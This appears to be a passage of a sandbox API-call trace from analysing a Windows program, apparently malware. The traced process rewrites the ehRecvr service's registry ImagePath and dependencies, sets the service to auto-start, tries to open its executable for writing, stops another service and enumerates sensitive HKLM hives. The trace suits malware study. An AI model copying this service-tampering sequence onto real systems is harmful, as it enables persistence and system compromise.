lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Start", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0251.325] RegEnumValueA (in: hKey=0x14c, dwIndex=0x6, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Type", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0251.325] RegEnumValueA (in: hKey=0x14c, dwIndex=0x7, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0251.325] RegEnumValueA (in: hKey=0x14c, dwIndex=0x8, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ServiceSidType", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0251.325] RegEnumValueA (in: hKey=0x14c, dwIndex=0x9, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0251.325] RegEnumValueA (in: hKey=0x14c, dwIndex=0xa, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FailureActions", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0251.325] RegEnumValueA (in: hKey=0x14c, dwIndex=0xb, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0251.326] RegEnumValueA (in: hKey=0x14c, dwIndex=0xc, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0251.326] RegEnumValueA (in: hKey=0x14c, dwIndex=0xd, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0251.326] RegEnumValueA (in: hKey=0x14c, dwIndex=0xe, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0251.326] RegEnumValueA (in: hKey=0x14c, dwIndex=0xf, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x103 [0251.326] RegSetValueExA (in: hKey=0xc4, lpValueName="DependOnService", Reserved=0x0, dwType=0x1, lpData="rpcss", cbData=0x6 | out: lpData="rpcss") returned 0x0 [0251.326] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f41d8) returned 1 [0251.326] RegSetValueExA (in: hKey=0xc4, lpValueName="DependOnService ", Reserved=0x0, dwType=0x1, lpData="rpcss", cbData=0x6 | out: lpData="rpcss") returned 0x0 [0251.326] RegEnumValueA (in: hKey=0x14c, dwIndex=0x0, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DisplayName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0251.326] RegEnumValueA (in: hKey=0x14c, dwIndex=0x1, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0251.326] RegEnumValueA (in: hKey=0x14c, dwIndex=0x2, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Description", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0251.326] RegEnumValueA (in: hKey=0x14c, dwIndex=0x3, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0251.326] RegEnumValueA (in: hKey=0x14c, dwIndex=0x4, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ErrorControl", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0251.326] RegEnumValueA (in: hKey=0x14c, dwIndex=0x5, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Start", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0251.327] RegEnumValueA (in: hKey=0x14c, dwIndex=0x6, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Type", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0251.327] RegEnumValueA (in: hKey=0x14c, dwIndex=0x7, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0251.327] RegEnumValueA (in: hKey=0x14c, dwIndex=0x8, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ServiceSidType", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0251.327] RegEnumValueA (in: hKey=0x14c, dwIndex=0x9, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0251.327] RegEnumValueA (in: hKey=0x14c, dwIndex=0xa, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FailureActions", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0251.327] RegEnumValueA (in: hKey=0x14c, dwIndex=0xb, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0251.327] RegEnumValueA (in: hKey=0x14c, dwIndex=0xc, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0251.327] RegEnumValueA (in: hKey=0x14c, dwIndex=0xd, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0251.327] RegEnumValueA (in: hKey=0x14c, dwIndex=0xe, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0251.327] RegEnumValueA (in: hKey=0x14c, dwIndex=0xf, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x103 [0251.327] RegSetValueExA (in: hKey=0xc4, lpValueName="ImagePath ", Reserved=0x0, dwType=0x1, lpData="C:\\Windows\\ehome\\ehRecvr.exe", cbData=0x1d | out: lpData="C:\\Windows\\ehome\\ehRecvr.exe") returned 0x0 [0251.328] CommandLineToArgvW (in: lpCmdLine="C:\\Windows\\ehome\\ehRecvr.exe", pNumArgs=0x36f464 | out: pNumArgs=0x36f464) returned 0x7e4b18*="C:\\Windows\\ehome\\ehRecvr.exe" [0251.328] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x10) returned 0x252d678 [0251.328] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d458 [0251.328] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0251.328] LocalFree (hMem=0x7e4b18) returned 0x0 [0251.328] RegSetValueExA (in: hKey=0xc4, lpValueName="ImagePath", Reserved=0x0, dwType=0x1, lpData="C:\\Windows\\ehome\\ehRecvr.exe", cbData=0x1d | out: lpData="C:\\Windows\\ehome\\ehRecvr.exe") returned 0x0 [0251.328] OpenServiceW (hSCManager=0x803918, lpServiceName="ehRecvr", dwDesiredAccess=0x2) returned 0x8038a0 [0251.328] ChangeServiceConfigW (in: hService=0x8038a0, dwServiceType=0xffffffff, dwStartType=0x2, dwErrorControl=0xffffffff, lpBinaryPathName=0x0, lpLoadOrderGroup=0x0, lpdwTagId=0x0, lpDependencies=0x0, lpServiceStartName=0x0, lpPassword=0x0, lpDisplayName=0x0 | out: lpdwTagId=0x0) returned 1 [0251.329] CloseServiceHandle (hSCObject=0x8038a0) returned 1 [0251.330] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0251.330] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d508) returned 1 [0251.330] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d630) returned 1 [0251.330] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f47c0) returned 1 [0251.330] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d268) returned 1 [0251.330] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d648) returned 1 [0251.330] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0251.330] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0251.330] RegCloseKey (hKey=0xc4) returned 0x0 [0251.330] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252e950) returned 1 [0251.330] RegCloseKey (hKey=0x14c) returned 0x0 [0251.330] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1898) returned 1 [0251.330] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1808) returned 1 [0251.330] GetFileAttributesExW (in: lpFileName="C:\\Windows\\ehome\\ehRecvr.exe" (normalized: "c:\\windows\\ehome\\ehrecvr.exe"), fInfoLevelId=0x0, lpFileInformation=0x36f4cc | out: lpFileInformation=0x36f4cc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa2fd46aa, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa2fd46aa, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa450000, ftLastWriteTime.dwHighDateTime=0x1cb890f, nFileSizeHigh=0x0, nFileSizeLow=0x44000)) returned 1 [0251.330] CreateFileW (lpFileName="C:\\Windows\\ehome\\ehRecvr.exe" (normalized: "c:\\windows\\ehome\\ehrecvr.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0251.330] GetLastError () returned 0x20 [0251.330] CryptAcquireContextW (in: phProv=0x36f510, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x36f510*=0x7f03d0) returned 1 [0251.331] CryptGenRandom (in: hProv=0x7f03d0, dwLen=0x4, pbBuffer=0x36f524 | out: pbBuffer=0x36f524) returned 1 [0251.331] CryptReleaseContext (hProv=0x7f03d0, dwFlags=0x0) returned 1 [0251.331] OpenServiceW (hSCManager=0x803918, lpServiceName="NetTcpActivator", dwDesiredAccess=0x20) returned 0x803990 [0251.331] ControlService (in: hService=0x803990, dwControl=0x1, lpServiceStatus=0x36f474 | out: lpServiceStatus=0x36f474*(dwServiceType=0x20, dwCurrentState=0x1, dwControlsAccepted=0x0, dwWin32ExitCode=0x435, dwServiceSpecificExitCode=0x0, dwCheckPoint=0x0, dwWaitHint=0x0)) returned 0 [0251.332] GetLastError () returned 0x426 [0251.332] CloseServiceHandle (hSCObject=0x803990) returned 1 [0251.332] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1808 [0251.332] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1898 [0251.332] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x252e950 [0251.332] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x280) returned 0x2152850 [0251.332] SHRegDuplicateHKey (hkey=0x80000002) returned 0x80000002 [0251.332] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="BCD00000000") returned 0x0 [0251.332] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0251.332] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bcd00000000", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0251.332] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0251.332] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bcd00000000", cchWideChar=11, lpMultiByteStr=0x21f1b68, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bcd00000000", lpUsedDefaultChar=0x0) returned 11 [0251.332] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0251.332] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0251.332] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0251.332] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0251.332] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="HARDWARE") returned 0x0 [0251.333] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0251.333] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0251.333] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0251.333] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware", cchWideChar=8, lpMultiByteStr=0x21f1cd0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hardware", lpUsedDefaultChar=0x0) returned 8 [0251.333] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0251.333] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0251.333] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0251.333] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0251.333] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="SAM") returned 0x0 [0251.333] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0251.333] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sam", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0251.333] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0251.333] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sam", cchWideChar=3, lpMultiByteStr=0x21f1b68, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sam", lpUsedDefaultChar=0x0) returned 3 [0251.333] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0251.333] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0251.333] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0251.333] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0251.333] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="SECURITY") returned 0x0 [0251.333] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0251.333] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="security", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0251.333] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0251.333] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="security", cchWideChar=8, lpMultiByteStr=0x21f1cd0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="security", lpUsedDefaultChar=0x0) returned 8 [0251.333] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0251.333] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0251.333] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0251.333] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0251.333] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="SOFTWARE") returned 0x0 [0251.333] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0251.333] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0251.333] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0251.333] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x21f1b68, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="software", lpUsedDefaultChar=0x0) returned 8 [0251.333] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0251.334] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0251.334] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0251.334] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0251.334] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName="SYSTEM") returned 0x0 [0251.334] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0251.334] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="system", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0251.334] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0251.334] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="system", cchWideChar=6, lpMultiByteStr=0x21f1cd0, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="system", lpUsedDefaultChar=0x0) returned 6 [0251.334] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0251.334] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0251.334] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0251.334] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0251.334] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SYSTEM", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0xc4) returned 0x0 [0251.334] RegCloseKey (hKey=0x80000002) returned 0x0 [0251.334] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="ControlSet001") returned 0x0 [0251.334] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0251.334] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controlset001", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0251.334] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0251.334] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controlset001", cchWideChar=13, lpMultiByteStr=0x21f1b68, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="controlset001", lpUsedDefaultChar=0x0) returned 13 [0251.334] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0251.334] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0251.334] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0251.334] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0251.334] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="ControlSet002") returned 0x0 [0251.334] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0251.334] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controlset002", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0251.334] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0251.334] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controlset002", cchWideChar=13, lpMultiByteStr=0x21f1cd0, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="controlset002", lpUsedDefaultChar=0x0) returned 13 [0251.334] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0251.334] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0251.335] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0251.335] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0251.335] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="MountedDevices") returned 0x0 [0251.335] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0251.335] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mounteddevices", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0251.335] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0251.335] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mounteddevices", cchWideChar=14, lpMultiByteStr=0x21f1b68, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mounteddevices", lpUsedDefaultChar=0x0) returned 14 [0251.335] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0251.335] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0251.335] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0251.335] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0251.335] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="RNG") returned 0x0 [0251.335] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0251.335] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="rng", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0251.335] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0251.335] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="rng", cchWideChar=3, lpMultiByteStr=0x21f1cd0, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rng", lpUsedDefaultChar=0x0) returned 3 [0251.335] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0251.335] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0251.335] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0251.335] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0251.335] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="Select") returned 0x0 [0251.335] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0251.335] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="select", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, 